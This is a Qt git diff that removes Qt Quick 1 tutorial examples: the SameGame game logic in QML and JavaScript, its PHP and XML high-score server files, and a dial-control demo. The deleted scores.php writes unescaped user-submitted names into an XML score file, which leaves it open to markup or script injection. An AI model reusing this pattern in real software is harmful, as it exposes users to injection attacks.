Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: container - - property string text: "Button" - - signal clicked - - width: buttonLabel.width + 20; height: buttonLabel.height + 5 - border { width: 1; color: Qt.darker(activePalette.button) } - smooth: true - radius: 8 - - // color the button with a gradient - gradient: Gradient { - GradientStop { - position: 0.0 - color: { - if (mouseArea.pressed) - return activePalette.dark - else - return activePalette.light - } - } - GradientStop { position: 1.0; color: activePalette.button } - } - - MouseArea { - id: mouseArea - anchors.fill: parent - onClicked: container.clicked(); - } - - Text { - id: buttonLabel - anchors.centerIn: container - color: activePalette.buttonText - text: container.text - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/Dialog.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/Dialog.qml deleted file mode 100644 index 01aa3548e9..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/Dialog.qml +++ /dev/null @@ -1,107 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -//![0] -Rectangle { - id: container -//![0] - -//![1] - property string inputText: textInput.text - signal closed - - function show(text) { - dialogText.text = text; - container.opacity = 1; - textInput.opacity = 0; - } - - function showWithInput(text) { - show(text); - textInput.opacity = 1; - textInput.focus = true; - textInput.text = "" - } - - function hide() { - textInput.focus = false; - container.opacity = 0; - container.closed(); - } -//![1] - - width: dialogText.width + textInput.width + 20 - height: dialogText.height + 20 - opacity: 0 - visible: opacity > 0 - - Text { - id: dialogText - anchors { verticalCenter: parent.verticalCenter; left: parent.left; leftMargin: 10 } - text: "" - } - -//![2] - TextInput { - id: textInput - anchors { verticalCenter: parent.verticalCenter; left: dialogText.right } - width: 80 - text: "" - - onAccepted: container.hide() // close dialog when Enter is pressed - } -//![2] - - MouseArea { - anchors.fill: parent - - onClicked: { - if (textInput.text == "" && textInput.opacity > 0) - textInput.openSoftwareInputPanel(); - else - hide(); - } - } - -//![3] -} -//![3] diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/samegame.js b/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/samegame.js deleted file mode 100755 index 59ac446452..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/content/samegame.js +++ /dev/null @@ -1,225 +0,0 @@ -/* This script file handles the game logic */ -var maxColumn = 10; -var maxRow = 15; -var maxIndex = maxColumn * maxRow; -var board = new Array(maxIndex); -var component; -var scoresURL = ""; -var gameDuration; - -//Index function used instead of a 2D array -function index(column, row) { - return column + (row * maxColumn); -} - -function startNewGame() { - //Delete blocks from previous game - for (var i = 0; i < maxIndex; i++) { - if (board[i] != null) - board[i].destroy(); - } - - //Calculate board size - maxColumn = Math.floor(gameCanvas.width / gameCanvas.blockSize); - maxRow = Math.floor(gameCanvas.height / gameCanvas.blockSize); - maxIndex = maxRow * maxColumn; - - //Close dialogs - nameInputDialog.hide(); - dialog.hide(); - - //Initialize Board - board = new Array(maxIndex); - gameCanvas.score = 0; - for (var column = 0; column < maxColumn; column++) { - for (var row = 0; row < maxRow; row++) { - board[index(column, row)] = null; - createBlock(column, row); - } - } - - gameDuration = new Date(); -} - -function createBlock(column, row) { - if (component == null) - component = Qt.createComponent("content/BoomBlock.qml"); - - // Note that if Block.qml was not a local file, component.status would be - // Loading and we should wait for the component's statusChanged() signal to - // know when the file is downloaded and ready before calling createObject(). - if (component.status == Component.Ready) { - var dynamicObject = component.createObject(gameCanvas); - if (dynamicObject == null) { - console.log("error creating block"); - console.log(component.errorString()); - return false; - } - dynamicObject.type = Math.floor(Math.random() * 3); - dynamicObject.x = column * gameCanvas.blockSize; - dynamicObject.y = row * gameCanvas.blockSize; - dynamicObject.width = gameCanvas.blockSize; - dynamicObject.height = gameCanvas.blockSize; - dynamicObject.spawned = true; - board[index(column, row)] = dynamicObject; - } else { - console.log("error loading block component"); - console.log(component.errorString()); - return false; - } - return true; -} - -var fillFound; //Set after a floodFill call to the number of blocks found -var floodBoard; //Set to 1 if the floodFill reaches off that node - -function handleClick(xPos, yPos) { - var column = Math.floor(xPos / gameCanvas.blockSize); - var row = Math.floor(yPos / gameCanvas.blockSize); - if (column >= maxColumn || column < 0 || row >= maxRow || row < 0) - return; - if (board[index(column, row)] == null) - return; - //If it's a valid block, remove it and all connected (does nothing if it's not connected) - floodFill(column, row, -1); - if (fillFound <= 0) - return; - gameCanvas.score += (fillFound - 1) * (fillFound - 1); - shuffleDown(); - victoryCheck(); -} - -function floodFill(column, row, type) { - if (board[index(column, row)] == null) - return; - var first = false; - if (type == -1) { - first = true; - type = board[index(column, row)].type; - - //Flood fill initialization - fillFound = 0; - floodBoard = new Array(maxIndex); - } - if (column >= maxColumn || column < 0 || row >= maxRow || row < 0) - return; - if (floodBoard[index(column, row)] == 1 || (!first && type != board[index(column, row)].type)) - return; - floodBoard[index(column, row)] = 1; - floodFill(column + 1, row, type); - floodFill(column - 1, row, type); - floodFill(column, row + 1, type); - floodFill(column, row - 1, type); - if (first == true && fillFound == 0) - return; //Can't remove single blocks - board[index(column, row)].dying = true; - board[index(column, row)] = null; - fillFound += 1; -} - -function shuffleDown() { - //Fall down - for (var column = 0; column < maxColumn; column++) { - var fallDist = 0; - for (var row = maxRow - 1; row >= 0; row--) { - if (board[index(column, row)] == null) { - fallDist += 1; - } else { - if (fallDist > 0) { - var obj = board[index(column, row)]; - obj.y = (row + fallDist) * gameCanvas.blockSize; - board[index(column, row + fallDist)] = obj; - board[index(column, row)] = null; - } - } - } - } - //Fall to the left - fallDist = 0; - for (column = 0; column < maxColumn; column++) { - if (board[index(column, maxRow - 1)] == null) { - fallDist += 1; - } else { - if (fallDist > 0) { - for (row = 0; row < maxRow; row++) { - obj = board[index(column, row)]; - if (obj == null) - continue; - obj.x = (column - fallDist) * gameCanvas.blockSize; - board[index(column - fallDist, row)] = obj; - board[index(column, row)] = null; - } - } - } - } -} - -//![3] -function victoryCheck() { -//![3] - //Award bonus points if no blocks left - var deservesBonus = true; - for (var column = maxColumn - 1; column >= 0; column--) - if (board[index(column, maxRow - 1)] != null) - deservesBonus = false; - if (deservesBonus) - gameCanvas.score += 500; - -//![4] - //Check whether game has finished - if (deservesBonus || !(floodMoveCheck(0, maxRow - 1, -1))) { - gameDuration = new Date() - gameDuration; - nameInputDialog.showWithInput("You won! Please enter your name: "); - } -} -//![4] - -//only floods up and right, to see if it can find adjacent same-typed blocks -function floodMoveCheck(column, row, type) { - if (column >= maxColumn || column < 0 || row >= maxRow || row < 0) - return false; - if (board[index(column, row)] == null) - return false; - var myType = board[index(column, row)].type; - if (type == myType) - return true; - return floodMoveCheck(column + 1, row, myType) || floodMoveCheck(column, row - 1, board[index(column, row)].type); -} - -//![2] -function saveHighScore(name) { - if (scoresURL != "") - sendHighScore(name); - - var db = openDatabaseSync("SameGameScores", "1.0", "Local SameGame High Scores", 100); - var dataStr = "INSERT INTO Scores VALUES(?, ?, ?, ?)"; - var data = [name, gameCanvas.score, maxColumn + "x" + maxRow, Math.floor(gameDuration / 1000)]; - db.transaction(function(tx) { - tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)'); - tx.executeSql(dataStr, data); - - var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "12x17" ORDER BY score desc LIMIT 10'); - var r = "\nHIGH SCORES for a standard sized grid\n\n" - for (var i = 0; i < rs.rows.length; i++) { - r += (i + 1) + ". " + rs.rows.item(i).name + ' got ' + rs.rows.item(i).score + ' points in ' + rs.rows.item(i).time + ' seconds.\n'; - } - dialog.show(r); - }); -} -//![2] - -//![1] -function sendHighScore(name) { - var postman = new XMLHttpRequest() - var postData = "name=" + name + "&score=" + gameCanvas.score + "&gridSize=" + maxColumn + "x" + maxRow + "&time=" + Math.floor(gameDuration / 1000); - postman.open("POST", scoresURL, true); - postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); - postman.onreadystatechange = function() { - if (postman.readyState == postman.DONE) { - dialog.show("Your score has been uploaded."); - } - } - postman.send(postData); -} -//![1] - diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/README b/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/README deleted file mode 100644 index eaa00fae37..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/README +++ /dev/null @@ -1 +0,0 @@ -The SameGame example can interface with a simple PHP script to store XML high score data on a remote server. We do not have a publically accessible server available for this use, but if you have access to a PHP capable webserver you can copy the files (score_data.xml, score.php, score_style.xsl) to it and alter the highscore_server variable at the top of the samegame.js file to point to it. diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/score_data.xml b/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/score_data.xml deleted file mode 100755 index c3fd90d9cf..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/score_data.xml +++ /dev/null @@ -1,2 +0,0 @@ -1000000Alan the Tester0x00 -6213Alan12x1751 diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/score_style.xsl b/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/score_style.xsl deleted file mode 100755 index 670354c965..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/score_style.xsl +++ /dev/null @@ -1,28 +0,0 @@ - - - - - SameGame High Scores - -

SameGame High Scores

- - - - - - - - - - - - - - - - -
NameScoreGrid SizeTime, s
- - - - diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/scores.php b/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/scores.php deleted file mode 100755 index f2ccb8e871..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/highscores/scores.php +++ /dev/null @@ -1,31 +0,0 @@ -"; - echo "SameGame High Scores"; - if($score > 0){#Sending in a new high score - $name = $_POST["name"]; - $grid = $_POST["gridSize"]; - $time = $_POST["time"]; - if($name == "") - $name = "Anonymous"; - $file = fopen("score_data.xml", "a"); - $ret = fwrite($file, "". $score . "" - . $name . "" . $grid . "" - . $time . "\n"); - echo "Your score has been recorded. Thanks for playing!"; - if($ret == False) - echo "
There was an error though, so don't expect to see that score again."; - }else{#Read high score list - #Now uses XSLT to display. So just print the file. With XML cruft added. - #Note that firefox at least won't apply the XSLT on a php file. So redirecting - $file = fopen("scores.xml", "w"); - $ret = fwrite($file, '' . "\n" - . '' . "\n" - . "\n" . file_get_contents("score_data.xml") . "\n"); - if($ret == False) - echo "There was an internal error. Sorry."; - else - echo ''; - } - echo ""; -?> diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/samegame.qml b/examples/declarative/qtquick1/tutorials/samegame/samegame4/samegame.qml deleted file mode 100644 index 60e3f8d0be..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/samegame.qml +++ /dev/null @@ -1,115 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" -import "content/samegame.js" as SameGame - -Rectangle { - id: screen - - width: 490; height: 720 - - SystemPalette { id: activePalette } - - Item { - width: parent.width - anchors { top: parent.top; bottom: toolBar.top } - - Image { - id: background - anchors.fill: parent - source: "../shared/pics/background.jpg" - fillMode: Image.PreserveAspectCrop - } - - Item { - id: gameCanvas - property int score: 0 - property int blockSize: 40 - - anchors.centerIn: parent - width: parent.width - (parent.width % blockSize); - height: parent.height - (parent.height % blockSize); - - MouseArea { - anchors.fill: parent; onClicked: SameGame.handleClick(mouse.x,mouse.y); - } - } - } - - Dialog { - id: dialog - anchors.centerIn: parent - z: 100 - } - - //![0] - Dialog { - id: nameInputDialog - anchors.centerIn: parent - z: 100 - - onClosed: { - if (nameInputDialog.inputText != "") - SameGame.saveHighScore(nameInputDialog.inputText); - } - } - //![0] - - Rectangle { - id: toolBar - width: parent.width; height: 30 - color: activePalette.window - anchors.bottom: screen.bottom - - Button { - anchors { left: parent.left; verticalCenter: parent.verticalCenter } - text: "New Game" - onClicked: SameGame.startNewGame() - } - - Text { - id: score - anchors { right: parent.right; verticalCenter: parent.verticalCenter } - text: "Score: " + gameCanvas.score - } - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/samegame4/samegame4.qmlproject b/examples/declarative/qtquick1/tutorials/samegame/samegame4/samegame4.qmlproject deleted file mode 100644 index 42ffacf4f8..0000000000 --- a/examples/declarative/qtquick1/tutorials/samegame/samegame4/samegame4.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "samegame.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/background.jpg b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/background.jpg deleted file mode 100644 index 903d395c8d..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/background.jpg and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/blueStar.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/blueStar.png deleted file mode 100644 index ff9588f80a..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/blueStar.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/blueStone.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/blueStone.png deleted file mode 100644 index 20e43c75b6..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/blueStone.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/greenStar.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/greenStar.png deleted file mode 100644 index cd06854719..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/greenStar.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/greenStone.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/greenStone.png deleted file mode 100644 index b568a1900c..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/greenStone.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/redStar.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/redStar.png deleted file mode 100644 index 0a4dffe583..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/redStar.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/redStone.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/redStone.png deleted file mode 100644 index 36b09a2686..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/redStone.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/star.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/star.png deleted file mode 100644 index defbde53ca..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/star.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/yellowStone.png b/examples/declarative/qtquick1/tutorials/samegame/shared/pics/yellowStone.png deleted file mode 100644 index b1ce76212c..0000000000 Binary files a/examples/declarative/qtquick1/tutorials/samegame/shared/pics/yellowStone.png and /dev/null differ diff --git a/examples/declarative/qtquick1/tutorials/tutorials.pro b/examples/declarative/qtquick1/tutorials/tutorials.pro deleted file mode 100644 index 0a82c1e704..0000000000 --- a/examples/declarative/qtquick1/tutorials/tutorials.pro +++ /dev/null @@ -1,5 +0,0 @@ -TEMPLATE = subdirs - -SUBDIRS += \ - extending - diff --git a/examples/declarative/qtquick1/tutorials/tutorials.qmlproject b/examples/declarative/qtquick1/tutorials/tutorials.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/tutorials/tutorials.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/ui-components/README b/examples/declarative/qtquick1/ui-components/README deleted file mode 100644 index 7eecec104a..0000000000 --- a/examples/declarative/qtquick1/ui-components/README +++ /dev/null @@ -1,39 +0,0 @@ -With Qt Declarative, it is easy to implement the UI components that you need -in exactly the way that you want. These examples demonstrate this by creating -a selection of user interface components where the look and feel has been -completely defined in a QML file. - -The example launcher provided with Qt can be used to explore each of the -examples in this directory. But most can also be viewed directly with the -QML viewer utility, without requiring compilation. - -Documentation for these examples can be found via the Tutorials and Examples -link in the main Qt documentation. - - -Finding the Qt Examples and Demos launcher -========================================== - -On Windows: - -The launcher can be accessed via the Windows Start menu. Select the menu -entry entitled "Qt Examples and Demos" entry in the submenu containing -the Qt tools. - -On Mac OS X: - -For the binary distribution, the qtdemo executable is installed in the -/Developer/Applications/Qt directory. For the source distribution, it is -installed alongside the other Qt tools on the path specified when Qt is -configured. - -On Unix/Linux: - -The qtdemo executable is installed alongside the other Qt tools on the path -specified when Qt is configured. - -On all platforms: - -The source code for the launcher can be found in the demos/qtdemo directory -in the Qt package. This example is built at the same time as the Qt libraries, -tools, examples, and demonstrations. diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/Dial.qml b/examples/declarative/qtquick1/ui-components/dialcontrol/content/Dial.qml deleted file mode 100644 index 50557b70ee..0000000000 --- a/examples/declarative/qtquick1/ui-components/dialcontrol/content/Dial.qml +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Item { - id: root - property real value : 0 - - width: 210; height: 210 - - Image { source: "background.png" } - -//! [needle_shadow] - Image { - x: 96 - y: 35 - source: "needle_shadow.png" - transform: Rotation { - origin.x: 9; origin.y: 67 - angle: needleRotation.angle - } - } -//! [needle_shadow] -//! [needle] - Image { - id: needle - x: 98; y: 33 - smooth: true - source: "needle.png" - transform: Rotation { - id: needleRotation - origin.x: 5; origin.y: 65 - //! [needle angle] - angle: Math.min(Math.max(-130, root.value*2.6 - 130), 133) - Behavior on angle { - SpringAnimation { - spring: 1.4 - damping: .15 - } - } - //! [needle angle] - } - } -//! [needle] -//! [overlay] - Image { x: 21; y: 18; source: "overlay.png" } -//! [overlay] -} diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/QuitButton.qml b/examples/declarative/qtquick1/ui-components/dialcontrol/content/QuitButton.qml deleted file mode 100644 index 8161613e89..0000000000 --- a/examples/declarative/qtquick1/ui-components/dialcontrol/content/QuitButton.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -Image { - source: "quit.png" - scale: quitMouse.pressed ? 0.8 : 1.0 - smooth: quitMouse.pressed - MouseArea { - id: quitMouse - anchors.fill: parent - anchors.margins: -10 - onClicked: Qt.quit() - } -} diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/background.png b/examples/declarative/qtquick1/ui-components/dialcontrol/content/background.png deleted file mode 100644 index 75d555d7ab..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/dialcontrol/content/background.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/needle.png b/examples/declarative/qtquick1/ui-components/dialcontrol/content/needle.png deleted file mode 100644 index 2d19f75039..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/dialcontrol/content/needle.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/needle_shadow.png b/examples/declarative/qtquick1/ui-components/dialcontrol/content/needle_shadow.png deleted file mode 100644 index 8d8a928cc5..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/dialcontrol/content/needle_shadow.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/overlay.png b/examples/declarative/qtquick1/ui-components/dialcontrol/content/overlay.png deleted file mode 100644 index 3860a7b590..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/dialcontrol/content/overlay.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/content/quit.png b/examples/declarative/qtquick1/ui-components/dialcontrol/content/quit.png deleted file mode 100644 index b822057d4e..0000000000 Binary files a/examples/declarative/qtquick1/ui-components/dialcontrol/content/quit.png and /dev/null differ diff --git a/examples/declarative/qtquick1/ui-components/dialcontrol/dialcontrol.qml b/examples/declarative/qtquick1/ui-components/dialcontrol/dialcontrol.qml deleted file mode 100644 index e92619e393..0000000000 --- a/examples/declarative/qtquick1/ui-components/dialcontrol/dialcontrol.qml +++ /dev/null @@ -1,98 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use 